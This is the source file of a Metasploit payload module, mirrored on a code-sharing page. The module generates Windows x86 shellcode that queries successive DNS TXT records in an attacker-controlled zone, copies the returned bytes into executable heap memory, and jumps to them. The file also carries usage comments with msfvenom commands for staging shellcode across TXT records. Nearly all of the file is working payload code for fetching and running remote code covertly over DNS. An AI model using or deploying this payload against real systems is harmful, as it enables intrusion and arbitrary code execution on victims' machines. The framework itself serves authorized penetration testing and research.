Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/windows/dns_txt_query_exec.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 291
8
9
include Msf::Payload::Windows
10
include Msf::Payload::Single
11
include Msf::Payload::Windows::BlockApi
12
13
def initialize(info = {})
14
super(
15
merge_info(
16
info,
17
'Name' => 'DNS TXT Record Payload Download and Execution',
18
'Description' => %q{
19
Performs a TXT query against a series of DNS record(s) and executes the returned x86 shellcode. The DNSZONE
20
option is used as the base name to iterate over. The payload will first request the TXT contents of the a
21
hostname, followed by b, then c, etc. until there are no more records. For each record that is returned, exactly
22
255 bytes from it are copied into a buffer that is eventually executed. This buffer should be encoded using
23
x86/alpha_mixed with the BufferRegister option set to EDI.
24
},
25
'Author' => [
26
'corelanc0d3r <peter.ve[at]corelan.be>'
27
],
28
'License' => MSF_LICENSE,
29
'Platform' => 'win',
30
'Arch' => ARCH_X86
31
)
32
)
33
34
# EXITFUNC is not supported
35
deregister_options('EXITFUNC')
36
37
# Register command execution options
38
register_options(
39
[
40
OptString.new('DNSZONE', [ true, 'The DNS zone to query' ]),
41
]
42
)
43
end
44
45
#
46
# Usage :
47
# 1. Generate the shellcode you want to deliver via DNS TXT queries
48
# Make sure the shellcode is alpha_mixed or alpha_upper and uses EDI as bufferregister
49
# Example :
50
# ./msfvenom -p windows/messagebox TITLE="Friendly message from corelanc0d3r" TEXT="DNS Payloads FTW" -e x86/alpha_mixed Bufferregister=EDI -f raw
51
# Output : 658 bytes
52
# 2. Split the alpha shellcode into individual parts of exactly 255 bytes (+ remaining bytes)
53
# In case of 658 bytes of payload, there will be 2 parts of 255 bytes, and one part of 144 bytes
54
# 3. Create TXT records in a zone you control and put in a piece of the shellcode in each TXT record
55
# The last TXT record might have less than 255 bytes, that's fine
56
# The first part must be stored in the TXT record for prefix a.<yourdomain.com>
57
# The second part must be stored in the TXT record for b.<yourdomain.com>
58
# etc
59
# First part must start with a. and all parts must be placed in consecutive records
60
# 4. use the dns_txt_query payload in the exploit, specify the name of the DNS zone that contains the DNS TXT records
61
# Example: ./msfvenom -p windows/dns_txt_query_exec DNSZONE=corelan.eu -f c
62
# (Example will show a messagebox)
63
#
64
# DNS TXT Records :
65
# a.corelan.eu : contains first 255 bytes of the alpha shellcode
66
# b.corelan.eu : contains the next 255 bytes of the alpha shellcode
67
# c.corelan.eu : contains the last 144 bytes of the alpha shellcode
68
69
def generate(_opts = {})
70
dnsname = datastore['DNSZONE']
71
w_type = 0x0010 # DNS_TYPE_TEXT (TEXT)
72
w_type_offset = 0x1c
73
74
queryoptions = 0x248
75
# DNS_QUERY_RETURN_MESSAGE (0x200)
76
# DNS_QUERY_BYPASS_CACHE (0x08)
77
# DNS_QUERY_NO_HOSTS_FILE (0x40)
78
# DNS_QUERY_ONLY_TCP (0x02) <- not used atm
79
80
bufferreg = 'edi'
81
82
# create actual payload
83
payload_data = %^
84
cld ; clear direction flag
85
call start ; start main routine
86
#{asm_block_api}
87
; actual routine
88
start:
89
pop ebp ; get ptr to block_api routine
90
91
; first allocate some space in heap to hold payload
92
alloc_space:
93
xor eax,eax ; clear EAX
94
push 0x40 ; flProtect (RWX)
95
mov ah,0x10 ; set EAX to 0x1000 (should be big enough to hold up to 26 * 255 bytes)
96
push eax ; flAllocationType MEM_COMMIT (0x1000)
97
push eax ; dwSize (0x1000)
98
push 0x0 ; lpAddress
99
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
100
call ebp
101
push eax ; save pointer on stack, will be used in memcpy
102
mov #{bufferreg}, eax ; save pointer, to jump to at the end
103
104
105
; load dnsapi.dll
106
load_dnsapi:
107
xor eax,eax ; put part of string (hex) in eax
108
mov al,0x70
109
mov ah,0x69
110
push eax ; push 'dnsapi' to the stack
111
push 0x61736e64 ; ...
112
push esp ; Push a pointer to the 'dnsapi' string on the stack.
113
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
114
call ebp ; LoadLibraryA( "dnsapi" )
115
116
;prepare for loop of queries
117
mov bl,0x61 ; first query, start with 'a'
118
119
dnsquery:
120
jmp.i8 get_dnsname ; get dnsname
121
122
get_dnsname_return:
123
pop eax ; get ptr to dnsname (lpstrName)
124
mov [eax],bl ; patch sequence number in place
125
xchg esi,ebx ; save sequence number
126
push esp ; prepare ppQueryResultsSet
127
pop ebx ; (put ptr to ptr to stack on stack)
128
sub ebx,4
129
push ebx
130
push 0x0 ; pReserved
131
push ebx ; ppQueryResultsSet
132
push 0x0 ; pExtra
133
push #{queryoptions} ; Options
134
push #{w_type} ; wType
135
push eax ; lpstrName
136
push #{Rex::Text.block_api_hash('dnsapi.dll', 'DnsQuery_A')}
137
call ebp ;
138
test eax, eax ; query ok?
139
jnz jump_to_payload ; no, jump to payload
140
jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it
141
142
get_dnsname:
143
call get_dnsname_return
144
db "a.#{dnsname}", 0x00
145
146
get_query_result:
147
xchg #{bufferreg},edx ; save start of heap
148
pop #{bufferreg} ; heap structure containing DNS results (DNS_TXT_DATAA)
149
mov eax,[#{bufferreg}+0x18] ; check the number of strings in the response
150
cmp eax,1 ; skip if there's not exactly 1 string in the response
151
jne prepare_payload ; jmp to payload
152
add #{bufferreg},#{w_type_offset} ; get ptr to ptr to DNS reply
153
mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply
154
155
copy_piece_to_heap:
156
xchg ebx,esi ; save counter
157
mov esi,edi ; set source
158
mov edi,[esp+0x8] ; retrieve heap destination for memcpy
159
xor ecx,ecx ; clear ecx
160
mov cl,0xff ; always copy 255 bytes, no matter what
161
rep movsb ; copy from ESI to EDI
162
push edi ; save target for next copy
163
push edi ; 2 more times to make sure it's at esp+8
164
push edi ;
165
inc ebx ; increment sequence
166
xchg #{bufferreg},edx ; restore start of heap
167
jmp.i8 dnsquery ; try to get the next piece, if any
168
169
prepare_payload:
170
mov #{bufferreg},edx
171
172
jump_to_payload:
173
jmp #{bufferreg} ; jump to it
174
^
175
self.assembly = payload_data
176
super
177
end
178
end
179
180